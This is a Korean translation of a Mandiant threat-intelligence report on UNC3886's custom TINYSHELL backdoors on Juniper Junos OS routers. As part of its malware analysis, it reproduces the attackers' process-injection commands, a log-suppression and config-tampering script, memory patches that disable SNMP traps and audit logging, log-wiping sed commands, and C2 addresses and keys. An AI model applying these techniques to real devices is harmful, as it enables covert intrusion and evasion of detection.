콘텐츠로 이동하기
위협 인텔리전스

라우터 속 유령: 중국 연계 스파이 조직 UNC3886, 주니퍼 라우터 표적 공격

2025년 3월 12일
Mandiant

Mandiant Incident Response

Investigate, contain, and remediate security incidents.

Learn more

* 해당 블로그의 원문은 2025년 3월 12일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Lukasz Lamparski, Punsaen Boonyakarn, Shawn Chew, Frank Tse, Jakub Jozwiak, Mathew Potaczek, Logeswaran Nadarajan, Nick Harbour, Mustafa Nasser


소개

2024년 중반, 맨디언트는 중국과 연계된 위협 행위자들이 주니퍼 네트웍스의 Junos OS 라우터에 맞춤형 백도어를 설치한 것을 발견했습니다. 맨디언트는 이러한 백도어를 중국 연계 스파이 그룹인 UNC3886의 소행으로 판단했습니다. 맨디언트는 주니퍼 네트웍스의 Junos OS 라우터에서 작동하는 여러 TINYSHELL 기반 백도어를 발견했습니다. 이 백도어들은 활성 및 수동 백도어 기능과 대상 장치의 로깅 메커니즘을 비활성화하는 임베디드 스크립트를 포함하여 다양한 사용자 정의 기능을 가지고 있었습니다.

맨디언트는 주니퍼 네트웍스와 협력하여 이 활동을 조사했으며, 영향을 받은 주니퍼 MX 라우터가 수명 종료(EOL) 하드웨어 및 소프트웨어를 실행하고 있음을 확인했습니다. 맨디언트는 조직들이 주니퍼 장치를 주니퍼 네트웍스에서 출시한 최신 이미지로 업그레이드할 것을 권장하며, 여기에는 주니퍼 악성코드 제거 도구(JMRT)에 대한 완화 조치 및 업데이트된 서명이 포함됩니다. 조직은 업그레이드 후 JMRT 빠른 스캔 및 무결성 검사를 실행해야 합니다. 주니퍼 또한 이 사건에 대한 권고를 발표했습니다.

맨디언트는 2022년과 2023년에 UNC3886이 가상화 기술네트워크 엣지 장치에 배포한 유사한 맞춤형 악성코드 생태계에 대해 보고했습니다. 이 블로그 게시물은 UNC3886의 전술, 기술 및 절차(TTP)의 발전과 엔드포인트 탐지 및 응답(EDR) 에이전트와 같은 보안 모니터링 및 탐지 솔루션이 부족한 네트워크 및 엣지 장치에서 작동할 수 있도록 하는 악성코드 및 기능에 대한 그들의 초점을 보여줍니다.

맨디언트는 이전에 UNC3886이 탐지되지 않고 네트워크 내에서 측면 이동하기 위해 합법적인 자격 증명을 수집하고 사용하는 기술에 중점을 둔다고 보고했습니다. 이러한 목표는 일관되게 유지되었지만 2024년에 새로운 도구를 도입하여 추구되었습니다. 이 블로그 게시물의 관찰 결과는 공격자의 초점이 피해자 네트워크에 대한 장기적인 접근 유지에 있다는 우리의 평가를 강화합니다. UNC3886은 대상 장치의 기본 기술에 대한 깊은 이해를 계속해서 보여줍니다.

작성 시점에 맨디언트는 이 블로그 게시물에 자세히 설명된 활동과 다른 당사자들이 Volt Typhoon 또는 Salt Typhoon으로 공개적으로 보고한 활동 사이에 기술적 중복을 확인하지 못했습니다.

속성

UNC3886은 제로데이 익스플로잇을 사용하여 네트워크 장치 및 가상화 기술을 역사적으로 표적으로 삼아온 고도로 숙련된 중국 연계 사이버 스파이 그룹입니다. UNC3886의 관심사는 주로 미국 및 아시아에 위치한 방위, 기술 및 통신 조직에 초점을 맞추는 것으로 보입니다. 이 블로그 게시물에 설명된 활동은 UNC3886이 맞춤형 악성코드를 활용하여 네트워크 장치를 표적으로 삼은 여러 작전 중 최신입니다. 주니퍼 네트웍스의 Junos OS 라우터에 배포된 악성코드는 UNC3886이 고급 시스템 내부 구조에 대한 심층적인 지식을 가지고 있음을 보여줍니다. 또한 UNC3886은 탐지 위험을 최소화하면서 장기적인 지속성에 초점을 맞추는 것을 나타내는 로그 및 포렌식 아티팩트 변조와 함께 수동 백도어를 사용하여 작전에서 은밀함을 계속해서 우선시합니다.

Junos OS

주니퍼 네트웍스 Junos OS는 대부분의 주니퍼 라우팅, 스위칭 및 보안 장치를 구동하는 독점 운영 체제입니다. 수정된 FreeBSD 운영 체제를 기반으로 합니다. Junos OS는 두 가지 작동 모드를 지원합니다.

  • CLI 모드: 표준 Junos OS CLI 명령을 실행할 수 있습니다.

  • 셸 모드: 셸 접근 권한이 있는 사용자는 기본 FreeBSD 셸에 접근하여 표준 FreeBSD 명령을 실행할 수 있습니다

이 블로그 게시물에서 식별된 악성코드는 주로 csh 셸에 대한 접근에 의존하지만, 일부 경우에는 더 높은 계층을 인식하기도 합니다.

Veriexec

Junos OS는 원래 NetBSD Veriexec 하위 시스템의 수정된 버전인 Verified Exec (veriexec) 하위 시스템을 통합합니다. Veriexec은 바이너리, 라이브러리 및 스크립트를 포함한 무단 코드와 장치의 무결성을 손상시킬 수 있는 활동으로부터 Junos OS 운영 체제(OS)를 보호하는 커널 기반 파일 무결성 하위 시스템입니다. 악성코드를 실행하기 위해 위협 행위자는 먼저 veriexec 보호를 우회해야 했습니다.

맨디언트는 지원되는 소프트웨어 및 하드웨어에서 주니퍼가 이미 해결한 veriexec 우회 기술의 성공적인 악용을 나타내는 증거를 관찰하지 못했습니다. 그러나 이 블로그 게시물의 뒷부분에 설명된 프로세스 주입 기술 외에도 손상된 EOL 주니퍼 MX 라우터의 감염은 위협 행위자가 실행 가능한 백도어를 성공적으로 배포했음을 나타냅니다. 맨디언트는 위협 행위자가 영향을 받은 장치에 루트 접근 권한을 가지고 있음을 확인했습니다.

프로세스 주입을 통한 Veriexec 우회

Veriexec 보호는 무단 바이너리의 실행을 방지합니다. 이는 veriexec을 비활성화하면 경고가 발생할 수 있으므로 위협 행위자에게 어려움을 제기합니다. 그러나 신뢰할 수 있는 프로세스의 컨텍스트 내에서 발생하는 경우 신뢰할 수 없는 코드의 실행은 여전히 가능합니다. 맨디언트의 조사 결과 UNC3886은 합법적인 프로세스의 메모리에 악성 코드를 주입하여 이 보호를 우회할 수 있었습니다. 이 특정 기술은 주니퍼 네트웍스의 보안 게시판 JSA93446에 자세히 설명된 대로 CVE-2025-21590으로 추적됩니다.

이를 달성하기 위해 UNC3886은 먼저 합법적인 자격 증명을 사용하여 네트워크 장치 관리에 사용되는 터미널 서버에서 주니퍼 라우터에 권한 있는 접근 권한을 얻고 Junos OS CLI에서 FreeBSD 셸에 진입했습니다. 셸 환경 내에서 그들은 "here document" 기능을 사용하여 ldb.b64라는 Base64로 인코딩된 파일을 생성했습니다. 이 인코딩된 파일은 base64를 사용하여 디코딩되어 ldb.tar.gz라는 압축된 아카이브를 생성했으며, 이후 gunziptar 유틸리티를 사용하여 압축 해제 및 추출되어 악성 바이너리를 추출했습니다.

맨디언트는 손상된 주니퍼 라우터의 파일 시스템에서 ldb.b64 또는 ldb.tar.g의 전체 내용을 복구할 수 없었습니다. 그러나 맨디언트는 손상된 라우터의 메모리 분석을 수행하여 세 가지 악성 페이로드를 성공적으로 복구했습니다. 페이로드의 목적은 다음과 같습니다.

  • loader.bin은 표준 라이브러리 libc.so.7에서 exit, mmap, open, readclose 함수를 로드하고 메모리를 할당하며 payload.bin에서 최종 페이로드를 로드하고 실행하는 역할을 하는 셸코드 로더입니다. 

  • pc.bin은 메모리 주소 0x4012f0을 포함합니다.

  • payload.bin은 lmpad 백도어의 위치 독립 코드(PIC) 버전으로 식별되었습니다. 

lmpad 백도어의 세부 사항은 악성코드 분석 섹션에서 다룹니다.

맨디언트는 위협 행위자가 새로 생성된 cat 프로세스에 악성 페이로드를 주입하는 것을 관찰했습니다. 공격자는 mkfifo를 사용하여 null이라는 명명된 파이프를 생성하고 cat을 사용하여 지속적으로 읽어 효과적으로 중단된 프로세스를 생성했습니다. 이 단계에는 다음 명령이 포함되었습니다.

rm -rf null;
mkfifo null;
cat null &
set pid=$!
echo " $pid"

중단된 cat 프로세스가 null 파이프에서 데이터를 기다리는 동안, 공격자는 dd 명령어를 활용하여 페이로드 파일에서 바이너리 데이터를 읽어 cat 프로세스 내부의 특정 메모리 위치에 썼습니다.

dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

첫 번째 dd 명령어는 cat의 진입점인 가상 주소 0x4012f0loader.bin의 로더 코드를 썼습니다. 두 번째 dd 명령어는 0x602820의 데이터를 pc.bin의 내용으로 대체했습니다. 맨디언트는 0x602820fclose의 전역 오프셋 테이블 항목임을 확인했습니다. 이 메모리 위치는 0x4012f0으로 덮어쓰여졌으며, 이는 pc.binloader.bin이 주입된 메모리 주소를 포함하고 있음을 나타냅니다. 

공격자는 echo를 사용하여 null 파이프에 빈 문자열을 보냈습니다. catecho가 데이터 쓰기를 완료한 후 파일의 끝 신호를 받고 fclose를 실행하여 파일을 닫으려고 시도했습니다.

fclose 함수에 대한 전역 오프셋 테이블 항목이 셸코드 로더의 진입점으로 대체되었으므로, cat은 실제 fclose 함수 대신 셸코드 로더를 실행하고 궁극적으로 동일한 디렉토리의 payload.bin에서 최종 페이로드를 로드했습니다.

payload.bin이 로드된 후 공격자는 null 파일과 ldb 디렉토리를 제거하고 현재 세션을 종료했습니다. 이로 인해 손상된 라우터에서 합법적인 프로세스만 실행 중인 상태로 남았으며, 이제 악성 코드가 포함되었습니다. 다음 명령어가 이러한 작업을 수행하는 데 사용되었습니다.

sleep 1;echo -n>null;sleep 1;rm -rf null
cd ..
rm -rf ldb	
kill -9 $$

맨디언트의 조사에 따르면, 이 프로세스 주입은 Veriexec이 활성화된 상태에서 lmpad 백도어의 PIC 버전을 실행하기 위한 것이며, 손상된 주니퍼 라우터의 파일 시스템에서 식별된 다른 백도어의 실행은 지원하지 않습니다.

악성코드 개요

맨디언트의 조사를 통해 여러 주니퍼 MX 라우터에서 6개의 서로 다른 악성코드 샘플을 확인했습니다. 각 샘플은 TINYSHELL 백도어의 변형이지만 고유한 기능을 가지고 있습니다. 이러한 모든 샘플은 핵심 TINYSHELL 백도어 기능을 통합하지만, 활성화 방법과 추가적인 Junos OS 특정 기능에서 크게 다릅니다.

다음 악성코드 샘플이 식별되었습니다.

  1. appid - appidd(Application Identification Daemon)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 활성 백도어

  2. to - top(Table of Processes)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 활성 백도어

  3. irad - irsd(Interface Replication and Synchronization Daemon)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 수동 백도어

  4. lmpad - lmpd(Link Management Protocol Daemon)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 유틸리티 및 수동 백도어

  5. jdosd - jddosd(Juniper DDOS protection Daemon)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 수동 백도어

  6. oemd - oamd(Operation, Administration and Maintenance Daemon)라는 합법적인 바이너리를 모방한 TINYSHELL 기반 수동 백도어

TINYSHELL

TINYSHELL은 사용자 정의 바이너리 프로토콜을 사용하여 통신하는 C로 작성된 공개적으로 사용 가능한 경량 백도어입니다. 표준 TINYSHELL 명령 세트는 다음과 같습니다.

  • 원격 파일 업로드

  • 원격 파일 다운로드

  • 원격 셸 세션 설정

FreeBSD용 기본 TINYSHELL 구현은 다음과 같이 자세히 설명된 고도로 사용자 정의된 백도어의 기반이 되는 것으로 보입니다.

악성코드 분석

appid — TINYSHELL 기반 활성 백도어

appid라는 첫 번째 샘플은 C로 작성된 활성 백도어입니다. 추가 지원 명령과 함께 공개적으로 사용 가능한 TINYSHELL 소스 코드에서 파생되었습니다. 다음 하드코딩된 명령 및 제어(C2) 서버와 통신하는 활성 백도어입니다.

  • TCP://129[.]126[.]109[.]50:22

  • TCP://116[.]88[.]34[.]184:22

  • TCP://223[.]25[.]78[.]136:22

  • TCP://45[.]77[.]39[.]28:22

맨디언트는 이러한 IP가 GOBRAT ORB 네트워크의 스테이징 노드이며 궁극적으로 단일 백엔드 공격자 제어 운영 서버("ACOS")로 연결된다고 믿습니다.

이 악성코드는 목록에서 임의의 C2 서버와 통신하는 것으로 시작합니다. 악성코드는 동일한 C2 주소와 동기화된 상태로 유지되는 두 개의 TCP 소켓을 유지합니다. 하나의 소켓은 작업 요청에 사용되고 다른 하나는 요청 처리에 사용됩니다. 악성코드는 성공적인 연결이 생성될 때까지 C2 서버 목록을 순환하며 첫 번째 소켓을 사용하여 작업을 요청합니다. C2에서 작업을 받은 후 악성코드는 이 특정 작업을 처리하기 위한 두 번째 소켓을 생성합니다. 작업이 완료되면 두 번째 소켓이 닫힙니다.

악성코드는 하드코딩된 키를 사용하여 모든 네트워크 트래픽을 AES로 암호화합니다. 악성코드가 지원하는 명령은 표준 TINYSHELL 명령과 추가된 프록시 및 재구성 기능으로 구성됩니다.

번호

이름

설명

비고

1

tshd_get_file

서버로 파일 전속

표준 TINYSHELL 명령어

2

tshd_put_file

서버에서 파일 다운로드

표준 TINYSHELL 명령어

3

tshd_runshell

대화형 /bin/sh 셸 세션 실행

표준 TINYSHELL 명령어

4

tshd_setproxy

지정된 IP+포트 번호로 Socks 프록시 설정

사용자 정의 명령어

5

tshd_config

구성 메뉴 변경

사용자 정의 명령어

다음은 명령어 번호 5(tshd_config)로 변경할 수 있는 구성 항목과 해당 구성 메뉴 번호 목록입니다.

숫자

구성 항목

11

C2 IP 주소 1

12

C2 IP 주소 2

13

C2 IP 주소 3

14

C2 IP 주소 4

2

C2 포트 번호

3

C2 네트워크 인터페이스

4

대기 시간 초과

0

구성 메뉴 종료

to — TINYSHELL 기반 활성 백도어

to라는 이름의 두 번째 샘플은 첫 번째 샘플과 동일하지만 하드코딩된 C2 서버가 다릅니다.

  • tcp://101[.]100[.]182[.]122:22

  • tcp://118[.]189[.]188[.]122:22

  • tcp://158[.]140[.]135[.]244:22

  • tcp://8[.]222[.]225[.]8:22

irad — TINYSHELL 기반 수동 백도어

irad라는 이름의 세 번째 샘플은 C로 작성된 TINYSHELL 기반 수동 백도어입니다. libpcap 기반 패킷 스니퍼 역할을 하며, 백도어 기능을 활성화하는 매직 문자열을 찾기 위해 네트워크 패킷을 검사하여 명령을 수신합니다. 악성코드는 제공된 C2 주소에 연결하는 활성 모드와 수동 수신 모드의 두 가지 작동 모드를 지원합니다. 3개의 표준 TINYSHELL 명령 외에도 2개의 사용자 정의 명령과 사용자 정의 활성화 루틴을 구현합니다.

악성코드는 libpcap 라이브러리를 사용하여 호스트(eth 환경 변수에 지정된 인터페이스)의 모든 네트워크 패킷을 캡처하며, icmp[4:2] == 0xaa56의 BPF 필터와 일치합니다. ICMP 패킷의 10 오프셋에서 시작하는 16바이트의 데이터를 읽습니다. 악성코드는 경계 검사가 불충분하여 예상보다 작은 패킷이 발생하면 패킷 페이로드의 끝을 지나 읽을 수 있습니다.

모든 ICMP 유형 코드 8(에코 요청) 패킷에 대해 16바이트의 데이터를 읽고 단일 바이트 XOR 키 0x86으로 해독합니다. 그런 다음 해독된 데이터를 매직 문자열 uSarguuS62bKRA0J와 비교합니다. 문자열이 일치하고 ICMP 패킷의 8번째 바이트가 ASCII 문자 1 또는 2와 일치하면 ICMP 패킷에서 대상 IP 및 TCP 포트 번호를 읽고 지정된 IP에 대한 TCP 연결을 설정합니다(활성 모드). 사용자 정의 AES 및 HMAC 구현을 사용하여 통신을 암호화하고 인증합니다. 세션 키를 파생하기 위해 하드코딩된 키 문자열 WZtOTig2m42gXB6U를 사용하고 대상 인증을 위해 하드코딩된 인증 토큰 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D를 사용합니다.

대상 호스트에 대한 연결을 인증한 후 암호화된 통신을 시작합니다. 대상 호스트의 응답이 문자열 ek63a21km7WSWkfk로 시작하면 종료되고, 그렇지 않으면 패킷에서 명령 번호를 디코딩합니다.

명령 번호

기능

비고

1

원격 호스트에 파일 업로드

표준 TINYSHELL 명령어

2

원격 호스트에서 파일 다운로드

표준 TINYSHELL 명령어

3

대화형 /bin/csh 세션 실행

표준 TINYSHELL 명령어

4

아무것도 하지 않음

사용자 정의 명령어 

5

현재 연결을 지정된 IP 및 포트로 릴레이 

사용자 정의 명령어

ICMP 패킷의 8번째 바이트가 0이면 악성코드는 TCP 포트 31234에서 수신 서버를 생성합니다(수동 모드). 수신 백도어 서버는 이전 표에 나열된 것과 동일한 5개의 명령 세트와 동일한 암호화 및 인증 프로토콜을 지원합니다.

문자열 1spCq0BMbJwCoeZn이 수신되고 악성코드가 현재 포트 31234에서 연결을 수신하고 수신기로 작동하는 경우 수신 프로세스를 종료합니다.

lmpad — TINYSHELL 기반 유틸리티 및 수동 백도어

lmpad라는 이름의 네 번째 샘플은 C로 작성된 유틸리티 및 수동 백도어입니다. 표준 TINYSHELL 기능 외에도 로깅을 억제하기 위해 두 개의 합법적인 Junos OS 프로세스에 프로세스 주입을 수행할 수 있는 외부 스크립트를 실행할 수도 있습니다. 이 악성코드의 주요 목적은 운영자가 라우터에 연결하여 직접 작업을 수행하기 전에 가능한 모든 로깅을 비활성화하고 운영자가 연결을 끊은 후 나중에 로그를 복원하는 것입니다.

악성코드는 먼저 포트 33615에서 UDP 패킷을 수신하려고 시도하며, 여기서 RC4로 암호화된 메시지를 수신하고 응답으로 승인 메시지를 보냅니다. 악성코드는 또한 해독된 수신 페이로드를 다음 16진수 바이트와 비교하여 일치하면 연결을 종료합니다.

26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c

수신된 UDP 메시지를 해독하는 데 사용되는 RC4 암호화 키는 다음과 같습니다: 0b3330c0b41d1ae2.

초기 검사 후 악성코드는 명령을 기다리는 수신 모드로 들어갑니다. 표준 TINYSHELL 명령(명령 2, 4 및 5) 외에도 5개의 다른 사용자 정의 명령을 구현합니다.

Command 0

이 명령은 라우터에서 직접적인 위협 행위자 활동을 준비하기 위해 로깅을 억제합니다. /var/tmp/pfed_jdhcp6_trace.log 파일에 압축된 zip 아카이브를 쓰는 것으로 시작합니다. 그런 다음 다음 명령줄을 실행하여 아카이브를 압축 해제하고 인수 pre와 함께 내장된 스크립트를 실행하고 실행 후 스크립트를 정리합니다.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; 
sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$

다음은 압축 해제된 스크립트 파일입니다:

pre_ssh() {
#closelog
cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0
sed -i '' 's/\/dev\/null #//g' /mfs/var/etc/syslog.conf0
sed -i '' 's/        /        \/dev\/null #/g' /mfs/var/etc/syslog.conf
ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1
#last
cp -r /var/log/utx.log /var/log/utx.log0
cp -r /var/log/wtmp /var/log/wtmp0
}

post_ssh() {
#relog
cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf
rm -f /mfs/var/etc/syslog.conf0
ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1
#relast
cp -r /var/log/wtmp0 /var/log/wtmp
cp -r /var/log/utx.log /var/log/utx.log0
rm -f /var/log/wtmp0
}

backup() {
#backconf
rm -rf /var/rundb+
cp -r /var/rundb /var/rundb+
cp /var/db/commits /usr/lib/libjucomm.so.1
tar -cf /config/usage_db /config/juniper.conf.*
tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.*
}

restore() {
#reconfig
cp -r /var/rundb+/* /var/rundb
cp /usr/lib/libjucomm.so.1 /var/db/commits
tar -xf /config/usage_db -C /
tar -xf /var/db/config/usage_db -C /
rm -r /var/rundb+
rm -f /usr/lib/libjucomm.so.1
rm -f /config/usage_db
rm -f /var/db/config/usage_db
}

if [ $1 = "pre" ]; then
pre_ssh
elif [ $1 = "post" ]; then
post_ssh
elif [ $1 = "backup" ]; then
backup
elif [ $1 = "restore" ]; then
restore
fi

echo done
exit 0

이 스크립트는 4개의 명령을 실행할 수 있습니다.

  1. pre: syslog.confsyslog.conf0으로 백업하고, 모든 로깅을 /dev/null로 리디렉션하며, 로깅을 담당하는 eventd

  2. post: pre_ssh에 의해 수행된 변경 사항을 되돌립니다. 원래 syslog.conf를 복원하고 마지막 로그와 wtmp 로그를 복원하며, 백업을 제거하고 eventd 프로세스에 다른 HUP 신호를 보냅니다

  3. backup: 현재 주니퍼 구성 데이터베이스와 커밋 로그를 백업하고 구성 파일을 아카이브합니다. 

  4. restore: 이전에 백업된 구성 데이터베이스와 구성 파일을 복원하고 백업을 제거합니다. 

pre_ssh 스크립트로 로깅을 중지한 후 이 명령은 /var/run/snmpd.pid에서 snmpd 프로세스 PID를 읽습니다. 또한 dd를 사용하여 0x8601328 주소에서 4바이트의 데이터를 읽고 /var/tmp/rts 파일에 씁니다.

dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null

그런 다음 이 데이터를 0으로 변경하고 /var/tmp/rts에 쓴 다음 동일한 dd 기술을 사용하여 snmpd 프로세스 메모리에 다시 씁니다.

dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328 
conv=notrunc 2>/dev/null

이것은 0x8601328 주소에서 snmpd 프로세스 메모리를 패치합니다. 패치는 trap_configs라는 전역 변수를 0으로 설정합니다. trap_configs는 모니터링 서버로 전송되는 SNMP 트랩을 포함하는 구조체를 가리킬 가능성이 높습니다. 효과적으로 이것은 특정 이벤트가 syslog에 더 이상 기록되지 않을 때 SNMP 트랩이 트리거되는 것을 막기 위해 수행되는 것으로 보이는 SNMP 트랩의 트리거를 중지합니다.

그런 다음 악성코드는 mgd(주니퍼 관리 데몬) 프로세스에 대해 유사한 작업을 반복합니다. /var/run/mgd.pid에서 mgd 프로세스 PID를 읽고 앞서 언급한 동일한 기술을 사용하여 0x84E90D8의 mgd 프로세스 메모리에서 4바이트를 읽습니다. 이 바이트를 57E58955(엔디안을 바꾼 후 PUSH RBP; MOV EBP,ESP; PUSH RDI 명령어로 디스어셈블됨, 이는 일반적인 함수 프롤로그임)와 비교하고 일치하면 C3D08990 바이트로 패치합니다. 리틀 엔디안 순서로 이 바이트를 디스어셈블하면 NOP; MOV EAX,EDX; RET 명령어를 얻습니다.

이 패치는 0x84E90D8의 함수 프롤로그를 NOP, MOV EAX,EDX, RET로 수정하여 효과적으로 함수의 나머지 부분을 건너뜁니다. 동작 분석에 따르면 이 패치의 목표는 MGD 로그인, 로그아웃, cmd 이벤트의 auditd 로깅을 중지하는 것입니다.

dd를 사용한 이러한 직접적인 메모리 조작은 공격자가 프로그램 동작을 변경하고 보안 조치를 우회할 수 있도록 합니다. UNC3886은 이전에 dd를 사용하여 시작 시 파일 시스템 검증을 비활성화하는 유사한 전술을 사용했습니다. 이 경우 UNC3886은 취약점(CVE-2022-41328)을 악용하여 합법적인 FortiOS 시스템 바이너리를 덮어쓰고 지속성을 확보하고 보안 검사를 회피했습니다.

명령어 1

이 명령어는 운영자가 직접 키보드 작업을 완료한 후 명령 0에 의해 수행된 작업을 되돌릴 수 있습니다. /var/tmp/pfed_jdhcp6_trace.log.bak post를 실행하여 로깅을 복원하고 snmpdmgd에 대한 패치를 되돌립니다.

명령어 2 — CSH 세션 시작

이 명령어는 UDP 연결을 통해 대화형 /bin/csh 세션을 시작하며, 포크된 프로세스는 셸의 입력 및 출력을 암호화하고 네트워크를 통해 전송합니다.

원격 셸을 실행하기 전에 이 명령은 로그 파일에서 특정 줄을 제거하기 위해 일련의 sed 명령을 시작합니다.

sed -i '' '/root/d' /var/log/interactive-commands
sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history
sed -i '' '/root/d' /var/log/messages
sed -i '' '/root/d' /var/log/auth

이러한 명령어은 /var/log/interactive-commands, /var/log/messages/var/log/auth에서 root라는 용어를 포함하는 줄을 제거합니다. 또한 /root/.history에서 vi, set, gdbmgd의 인스턴스를 제거합니다.

명령어 3 — 새 대기 시간 초과 요청

이 명령은 악성코드가 현재 대기 시간 초과의 값을 포함하는 연결에 응답을 보내도록 합니다. 해당 메시지에 대한 응답에는 기본 명령 루프에서 사용될 새 4바이트 대기 시간 초과(초)가 포함됩니다.

명령어 4 — 파일 업로드

이 명령은 악성코드가 지정된 파일을 원격 서버로 보내도록 합니다.

명령어 5 — File Download

이 명령은 악성코드가 원격 서버에서 파일을 다운로드하여 디스크에 쓰도록 합니다.

명령어 6 — Backup Configuration Database

이 명령은 악성코드가 명령 0과 동일한 스크립트를 실행하지만 인수 backup을 사용하여 주니퍼 구성 데이터베이스 및 커밋 로그를 백업하도록 합니다.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; 
sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$

명령어 7 — Restore configuration database

이 명령어는 악성코드가 명령 0과 동일한 스크립트를 실행하지만 인수 restore를 사용하여 주니퍼 구성 데이터베이스 및 커밋 로그를 복원하도록 합니다.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; 
sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$

명령어 8 - 새 소켓 시간 초과 값 수신

이 명령은 악성코드가 현재 소켓 시간 초과 값을 포함하는 연결에 응답을 보내도록 합니다. 해당 메시지에 대한 응답에는 기본 소켓 시간 초과를 업데이트하는 데 사용될 새 4바이트 값이 포함됩니다. 기본 소켓 시간 초과 값은 300초입니다.

다른 명령어가 전달되면 악성코드는 소켓을 닫고 종료합니다.

jdosd — TINYSHELL 기반 수동 백도어

jdosd라는 이름의 다섯 번째 샘플은 C로 작성된 수동 백도어입니다. 파일 전송 및 원격 셸 기능을 제공하는 고정 포트 번호에서 작동하는 UDP 백도어를 구현합니다.

악성코드는 UDP 포트 33512에 바인딩하고 사용자 정의 RC4 구현을 사용합니다. 이 구현에는 PRGA 생성 중에 최종 상태 상자 값을 제대로 검색하지 못하는 버그가 있습니다. 다음 키는 트래픽 암호화에 사용됩니다.

4fd37426-65dd-4a8d-8ba6-1382a011dae9

공격자는 매직 값 0xDEADBEEF를 전송하여 백도어에 대한 연결을 시작합니다. 악성코드는 사용자 정의 RC4로 암호화된 동일한 메시지를 응답으로 전송하여 이 메시지에 응답합니다. 그런 다음 악성코드는 자체 프로세스의 프로세스 ID(pid)를 C2로 보냅니다.

초기 비콘 이후 악성코드는 추가 명령을 기다립니다. 표준 TINYSHELL 명령어(1-3) 외에도 두 가지 추가 명령어(0xAC, 0xFF)이 지원됩니다.

명령어 코드

설명

비고

1

데이터 업로드. 수신된 데이터 스트림에서 파일 경로를 읽고 파일 내용을 원격 호스트로 보냅니다.

표준 TINYSHELL 명령어 

2

데이터 스트림에서 파일 이름을 읽고 생성한 다음 데이터 스트림에서 해당 파일에 쓸 파일 내용을 읽습니다. 

표준 TINYSHELL 명령어 

3

모든 입력 및 출력이 UDP 연결을 통해 마샬링되는 대화형 /bin/csh 세션을 시작합니다. 

표준 TINYSHELL 명령어 

0xAC

아무것도 하지 않습니다.

사용자 정의 명령어

0xFF

프로그램을 종료합니다. 

사용자 정의 명령어

oemd — TINYSHELL 기반 수동 백도어

oemd라는 이름의 여섯 번째 샘플은 C로 작성된 수동 백도어입니다. 백도어는 특정 네트워크 인터페이스에 바인딩하여 C2 주소와 포트를 수신합니다. 네트워크 인터페이스는 환경 변수에 저장됩니다. 백도어는 TCP를 통해 C2와 통신합니다. C2와의 통신은 AES로 암호화되고 XOR로 인코딩됩니다.

악성코드 구성은 다음 환경 변수에 저장됩니다.

  • INTFS: 바인딩할 네트워크 인터페이스 이름.

  • RTS: (인터페이스 대신) 바인딩할 라우팅 주소.

  • UPRT: 바인딩할 포트 (지정하지 않으면 45678이 사용됨). 

  • DAEMON: 백그라운드에서 샘플을 실행합니다.

초기화 중에 악성코드는 INTFS 환경 변수에 지정된 인터페이스의 로컬 인덱스 번호를 검색하기 위해 다음 명령을 실행합니다.

ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'

로컬 UDP 소켓을 설정한 후 악성코드는 지정된 인터페이스의 0.0.0.0:<포트>에 바인딩하고 공격자가 C2 주소와 포트를 보낼 때까지 기다립니다. UDP 소켓에서 C2 주소를 수신한 후 제공된 대상에 대한 새 TCP 연결을 설정합니다.

악성코드는 표준 TINYSHELL 명령어 세트를 지원합니다.

  • 1: 파일 업로드.

  • 2: 파일 다운로드

  • 3: 셸 명령 실행

셸 명령을 실행할 때 악성코드는 HISTFILE 환경 변수를 지우고 공격자가 TERM 값을 지정할 수 있도록 합니다.

Junos OS 특정 소켓 옵션

앞서 나열된 모든 샘플은 socket(socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0)을 사용하여 AF_ROUTE 소켓을 생성합니다. 표준 FreeBSD 시스템에서 이러한 샘플을 실행하면 유효하지 않은 소켓이 반환되므로 JunosOS 특정 구현이라고 생각합니다.

이 소켓은 운영 체제의 라우팅 하위 시스템과 통신하기 위한 연결을 설정하는 데 사용된다고 생각합니다. AF_ROUTE 상수는 라우팅 작업에 대한 소켓 패밀리를 지정하고 SOCK_SEQPACKET은 안정적인 메시지 지향 연결을 지정합니다. 이 소켓은 인터페이스 인덱스를 검색하기 위해 OpenBSD의 rt_* 메시지와 유사한 구조의 패킷을 읽고 쓰는 데 사용됩니다. 모든 샘플 중에서 oemdifinfo 명령을 사용하여 인터페이스 인덱스를 검색하고 다른 샘플은 소켓을 통해 사용자 정의 rt_* 메시지를 사용합니다.

